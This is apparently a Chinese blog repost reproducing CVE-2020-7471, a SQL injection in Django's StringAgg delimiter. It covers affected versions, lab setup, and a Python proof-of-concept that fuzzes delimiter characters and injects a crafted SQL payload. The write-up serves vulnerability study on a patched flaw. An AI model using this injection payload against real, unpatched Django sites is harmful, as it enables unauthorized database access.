欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

CVE2020-7471

程序员文章站 2022-07-15 16:01:58
...

CVE2020-7471

2月3日,Django 官方发布安全通告公布了一个通过StringAgg(分隔符)实现利用的潜在SQL注入漏洞(CVE-2020-7471)。攻击者可通过构造分隔符传递给聚合函数contrib.postgres.aggregates.StringAgg,从而绕过转义并注入恶意SQL语句。

参考链接

影响范围

受影响版本:

  • Django 1.11.x < 1.11.28
  • Django 2.2.x < 2.2.10
  • Django 3.0.x < 3.0.3
  • Django 主开发分支

不受影响产品版本:

  • Django 1.11.28
  • Django 2.2.10
  • Django 3.0.3

漏洞复现

gitHub地址

clone项目到本地

git clone https://github.com/Saferman/CVE-2020-7471.git

安装Django(测试使用3.0.2)

pip3 install django==3.0.2 -i https://pypi.tuna.tsinghua.edu.cn/simple

linux下安装postgresql(Debian)

sudo apt-get upgrade
sudo apt-get install postgresql postgresql-client

安装完毕后,系统会创建一个数据库超级用户 postgres,密码为空,为了方便后续操作,给数据库超级用户postgres添加密码

sudo -u postgres psql
ALTER USER postgres WITH PASSWORD 'postgres';

创建数据库

CREATE DATABASE test;

修改数据库配置

修改 sqlvul_projects/settings.py 里面的数据库配置,如果上一步你安装用的默认配置(包括密码),就无需修改任何任何配置,可以跳过这一步

DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.postgresql',
        'NAME': 'test',         # 数据库名称
        'USER': 'postgres',
        'PASSWORD': 'postgres', # 数据库用户密码
        'HOST': '127.0.0.1',    # 数据库地址
        'PORT': '5432',
    }
}

初始化数据表(django)

python3 manage.py migrate
python3 manage.py makemigrations vul_app
python3 manage.py migrate vul_app

poc

# encoding:utf-8
import os
import django
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "sqlvul_project.settings")

# Django 版本大于等于1.7的时候,需要加上下面两句
if django.VERSION >= (1, 7):#自动判断版本
    django.setup()

from vul_app.models import Info
from django.contrib.postgres.aggregates import StringAgg
from django.db.models import Count

"""
postgres 预先执行的SQL
CREATE DATABASE test;
\c test;
\d 列出当前数据库的所有表格
"""

def initdb():
    data = [('li','male'),('zhao','male'),('zhang','female')]
    for name,gender in data:
        Info.objects.get_or_create(name=name,gender=gender)

def query():
    # FUZZ delimiter
    error_c = []
    other_error_c = []
    for c in "aaa@qq.com#$%^&*()_+=-|\\\"':;?/>.<,{}[]":
        results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name',delimiter=c))
        try:
            for e in results:
                pass
        except IndexError:
            error_c.append(c)
        except:
            other_error_c.append(c)
    print(error_c)
    print(other_error_c)

def query_with_evil():
    '''
    注入点证明
    分别设置delimiter为 单引号 二个单引号 二个双引号
    尝试注释后面的内容 ')--
    :return:
    '''
    print("[+]正常的输出:")
    payload = '-'
    results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name', delimiter=payload))
    for e in results:
        print(e)
    print("[+]注入后的的输出:")
    payload = '-\') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 1 OFFSET 1 -- '
    results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name', delimiter=payload))
    for e in results:
        print(e)



if __name__ == '__main__':
    print(django.VERSION) # 测试版本 3.0.2
    initdb()
    query()
    query_with_evil()

运行结果

CVE2020-7471

相关标签: 学习

推荐阅读